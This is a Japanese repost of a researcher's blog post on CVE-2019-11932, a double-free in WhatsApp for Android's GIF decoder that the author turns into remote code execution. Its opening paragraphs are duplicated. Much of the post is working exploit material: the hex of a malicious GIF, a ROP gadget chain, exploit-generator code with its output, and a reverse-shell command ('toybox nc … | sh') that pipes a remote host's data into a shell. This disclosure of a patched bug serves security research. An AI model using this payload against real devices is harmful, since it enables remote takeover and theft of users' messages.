
このブログ記事では、Android版WhatsAppで発見したダブルフリー(二重解放)脆弱性と、それをRCEにした方法について共有します。この問題はFacebookに報告しました。Facebookはこの問題を認識し、WhatsAppバージョン2.19.244で正式にパッチを公開しました。Facebookはこの問題に対するCVE-2019-11932の確保も支援してくれました。
WhatsAppユーザーの皆さんは、このバグから身を守るため、最新のWhatsAppバージョン(2.19.244以上)に更新してください。
手順は以下のとおりです。
その1つは、WhatsAppのドキュメントとして送信する方法です(つまり、ペーパークリップボタンを押して「ドキュメント」を選択し、破損したGIFを送信します) 攻撃者がユーザーの連絡先リストにいる場合(つまり友人である場合)、破損したGIFはユーザーの操作なしに自動的にダウンロードされます。
WhatsAppギャラリーを開くだけでバグが発動するため、ユーザーは何も送信する必要がないことに注意してください。WhatsAppギャラリーを開いた後に追加の操作は必要ありません。
WhatsAppユーザーがメディアファイルを送信するためにWhatsAppでギャラリービューを開くと、WhatsAppはlibpl_droidsonroids_gif.soというネイティブライブラリでGIFファイルを解析し、プレビューを生成します。libpl_droidsonroids_gif.soはオープンソースライブラリで、ソースコードは https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c で入手できます。
GIFファイルには複数のエンコードされたフレームが含まれます。デコードされたフレームを保存するために、rasterBitsという名前のバッファが使用されます。すべてのフレームのサイズが同じ場合、rasterBitsは再割り当てなしで再利用されます。ただし、以下の3つの条件のいずれかが満たされると、rasterBitsは再割り当てされます。
再割り当てはfreeとmallocの組み合わせです。再割り当てのサイズが0の場合、それは単なるfreeです。サイズが100、0、0の3つのフレームを含むGIFファイルがあるとしましょう。
これによりダブルフリーの脆弱性が発生します。トリガーとなる箇所はdecoding.cにあります。
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
Androidでは、サイズNのメモリのダブルフリーにより、直後のサイズNの2つのメモリ割り当てが同じアドレスを返すことになります。
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
WhatsAppのダブルフリー脆弱性がどのようにRCEになるか 読了時間 14分 このページの内容 デモ libpl_droidsonroids_gif の decoding.c における DDGifSlurp のダブルフリー脆弱性 PCレジスタの制御 ASLRとW^Xへの対処 すべてをまとめる 影響を受けるバージョン 攻撃ベクター このブログ記事では、Android版WhatsAppで発見したダブルフリー(二重解放)脆弱性と、それをRCEにした方法について共有します。この問題はFacebookに報告しました。Facebookはこの問題を認識し、WhatsAppバージョン2.19.244で正式にパッチを公開しました。Facebookはこの問題に対するCVE-2019-11932の確保も支援してくれました。
WhatsAppユーザーの皆さんは、このバグから身を守るため、最新のWhatsAppバージョン(2.19.244以上)に更新してください。
デモ https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
上記のリンクにアクセスできない場合のダウンロード用Googleドライブリンク https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
手順は以下のとおりです。
0:16 攻撃者が任意のチャネルを介してユーザーにGIFファイルを送信する その1つは、WhatsAppのドキュメントとして送信する方法です(つまり、ペーパークリップボタンを押して「ドキュメント」を選択し、破損したGIFを送信します) 攻撃者がユーザーの連絡先リストにいる場合(つまり友人である場合)、破損したGIFはユーザーの操作なしに自動的にダウンロードされます。 0:24 ユーザーがWhatsAppの友人にメディアファイルを送信したいと考えます。そこでユーザーはペーパークリップボタンを押し、WhatsAppギャラリーを開いて友人に送信するメディアファイルを選択します。 WhatsAppギャラリーを開くだけでバグが発動するため、ユーザーは何も送信する必要がないことに注意してください。WhatsAppギャラリーを開いた後に追加の操作は必要ありません。 0:30 WhatsAppはすべてのメディア(受信したGIFファイルを含む)のプレビューを表示するため、ダブルフリーのバグとRCEエクスプロイトが発動します。 libpl_droidsonroids_gif の decoding.c における DDGifSlurp のダブルフリー脆弱性 WhatsAppユーザーがメディアファイルを送信するためにWhatsAppでギャラリービューを開くと、WhatsAppはlibpl_droidsonroids_gif.soというネイティブライブラリでGIFファイルを解析し、プレビューを生成します。libpl_droidsonroids_gif.soはオープンソースライブラリで、ソースコードは https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c で入手できます。
GIFファイルには複数のエンコードされたフレームが含まれます。デコードされたフレームを保存するために、rasterBitsという名前のバッファが使用されます。すべてのフレームのサイズが同じ場合、rasterBitsは再割り当てなしで再利用されます。ただし、以下の3つの条件のいずれかが満たされると、rasterBitsは再割り当てされます。
width * height > originalWidth * originalHeight width - originalWidth > 0 height - originalHeight > 0 再割り当てはfreeとmallocの組み合わせです。再割り当てのサイズが0の場合、それは単なるfreeです。サイズが100、0、0の3つのフレームを含むGIFファイルがあるとしましょう。
最初の再割り当て後、サイズ100のinfo->rasterBitsバッファが得られます。 2回目のサイズ0の再割り当てで、info->rasterBitsバッファは解放されます。 3回目のサイズ0の再割り当てで、info->rasterBitsは再び解放されます。 これによりダブルフリーの脆弱性が発生します。トリガーとなる箇所はdecoding.cにあります。
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } Androidでは、サイズNのメモリのダブルフリーにより、直後のサイズNの2つのメモリ割り当てが同じアドレスを返すことになります。
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
上記のスニペットでは、変数$fooが2回解放されています。その結果、次の2回の割り当て($20と$21)は同じアドレスを返します。次に、gif.hのstruct GifInfoを見てみましょう。 struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- there's a function pointer here GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- there's another function pointer here jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
次に、以下のサイズの3つのフレームを持つGIFファイルを作成します。 sizeof(GifInfo) 0 0
WhatsAppギャラリーを開くと、そのGIFファイルは、サイズがsizeof(GifInfo)のrasterBitsバッファでダブルフリーのバグを引き起こします。興味深いことに、WhatsAppギャラリーではGIFファイルは2回解析されます。そのGIFファイルが再び解析されると、別のGifInfoオブジェクトが作成されます。Androidのダブルフリーの挙動により、GifInfoのinfoオブジェクトとinfo->rasterBitsは同じアドレスを指すことになります。その後、DDGifSlurp()は最初のフレームをinfo->rasterBitsバッファにデコードするため、infoとそのrewindFunction()(DDGifSlurp()関数の最後で呼び出されます)を上書きします。
作成する必要があるGIFファイルは以下のとおりです。 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
これには4つのフレームが含まれます。 フレーム1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF フレーム2: 2C 00 00 00 00 1C 0F 00 00 00 00 フレーム3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 フレーム4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 WhatsAppギャラリーを開いたときに発生する処理は以下のとおりです。
1回目の解析: 初期化: GifInfo info = malloc(168); フレーム1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); フレーム2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); フレーム3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); フレーム4: 重要ではありません。このGIFファイルを有効なものにするために存在します。 2回目の解析: 初期化: GifInfo info = malloc(168); フレーム1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); フレーム2、3、4: 重要ではありません。 終了: info->rewindFunction(info); 1回目の解析で発生するダブルフリーのバグにより、infoとinfo->rasterBitsは同じ場所を指すようになります。前述のように最初のフレームを細工することで、info->rewindFunction(info);が呼び出されたときにrewindFunctionとPCを制御できます。フレームはすべてLZWエンコードされていることに注意してください。フレームをエンコードするにはLZWエンコーダを使用する必要があります。上記のGIFは以下のようにクラッシュを引き起こします。
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
PCを制御した後、リモートコード実行を達成したいと考えます。Androidでは、W^X(スタックやヒープ)により、実行不可領域でコードを実行することはできません。このケースでW^Xに対処する最も簡単な方法は、以下のコマンドを実行することです。
system("toybox nc 192.168.2.72 4444 | sh");
そのためには、PCをlibc.so内のsystem()関数に向け、X0が"toybox nc 192.168.2.72 4444 | sh"を指すようにする必要があります。これは直接行うことはできません。まずPCを中間ガジェットにジャンプさせ、そのガジェットがX0を"toybox nc 192.168.2.72 4444 | sh"に設定してsystem()へジャンプする必要があります。info->rewindFunction(info);周辺の逆アセンブリコードから、X0とX19の両方がinfo->rasterBits(または、同じ場所を指すためinfo)を指し、X8が実際にはinfo->rewindFunctionであることがわかります。
info->rewindFunction周辺の逆アセンブリlibhwui.so に、私たちの目的に完璧に合致するガジェットがあります:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 上記のガジェットのアドレスを AAAAAAAA、system() 関数のアドレスを BBBBBBBB とします。LZW エンコーディング前の rasterBits バッファ(フレーム 1)は以下のようになります:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. 通常の Android システムでは、すべてのプロセスが Zygote から生成されるため、ASLR が有効でも、WhatsApp が強制終了されて再起動された場合、AAAAAAAA と BBBBBBBB のアドレスは変わりません。ただし、システムの再起動をまたいで保持することはできません。信頼できる AAAAAAAA と BBBBBBBB を得るには、libc.so と libhwui.so のベースアドレスを提供する情報漏えいの脆弱性が必要です。その脆弱性は、このブログ記事の範囲外です。
このリポジトリのコードをコンパイルするだけです。system() とガジェットのアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があることに注意してください(このブログ記事では扱いません)。 /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
Run the code to generate the corrupted GIF file:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
次に、その内容を GIF ファイルにコピーし、WhatsApp で「ドキュメント」として別の WhatsApp ユーザーに送信します。メディアファイルとして送信してはいけないことに注意してください。そうしないと、WhatsApp は送信前に MP4 に変換しようとします。ユーザーが悪意のある GIF ファイルを受信しても、WhatsApp のギャラリーを開いて友人にメディアファイルを送信するまでは、何も起こりません。
このエクスプロイトは WhatsApp バージョン 2.19.230 まで有効です。この脆弱性は WhatsApp バージョン 2.19.244 で公式に修正されています。
このエクスプロイトは Android 8.1 と 9.0 では機能しますが、Android 8.0 以下では機能しません。古い Android バージョンでは、double-free を依然としてトリガーできます。ただし、double-free の後にシステムが malloc を呼び出すため、PC レジスタを制御できる時点に到達する前にアプリがクラッシュするだけです。
Facebook は android-gif-drawable リポジトリの開発者にこの問題を通知したことに注意してください。Facebook からの修正は、8 月 10 日のコミットで元のリポジトリにもマージされました。android-gif-drawable のバージョン 1.2.18 は double-free バグに対して安全です。
上記のエクスプロイトにより、次の 2 つの攻撃ベクトルが考えられます:
ローカル権限昇格(ユーザーアプリから WhatsApp へ): 悪意のあるアプリが Android デバイスにインストールされます。そのアプリは zygote ライブラリのアドレスを収集し、WhatsApp のコンテキストでのコード実行を引き起こす悪意のある GIF ファイルを生成します。これにより、マルウェアアプリは WhatsApp のサンドボックス内のファイル(メッセージデータベースを含む)を盗むことができます。 リモートコード実行: リモートのメモリ情報漏えいの脆弱性を持つアプリケーション(例: ブラウザ)と組み合わせることで、攻撃者は zygote ライブラリのアドレスを収集し、WhatsApp を介してユーザーに送信する悪意のある GIF ファイルを細工できます(ギャラリーピッカーで画像としてではなく、添付ファイルとして送信する必要があります)。ユーザーが WhatsApp でギャラリービューを開くとすぐに(メディアファイルを友達に送信しない人はいませんよね?)、GIF ファイルは WhatsApp のコンテキストでリモートシェルをトリガーします。
#出典 Afnan Sadhayo Infiniteloopers.com
これは私が所有するものではありません。問題がある場合は、所有者に連絡してください。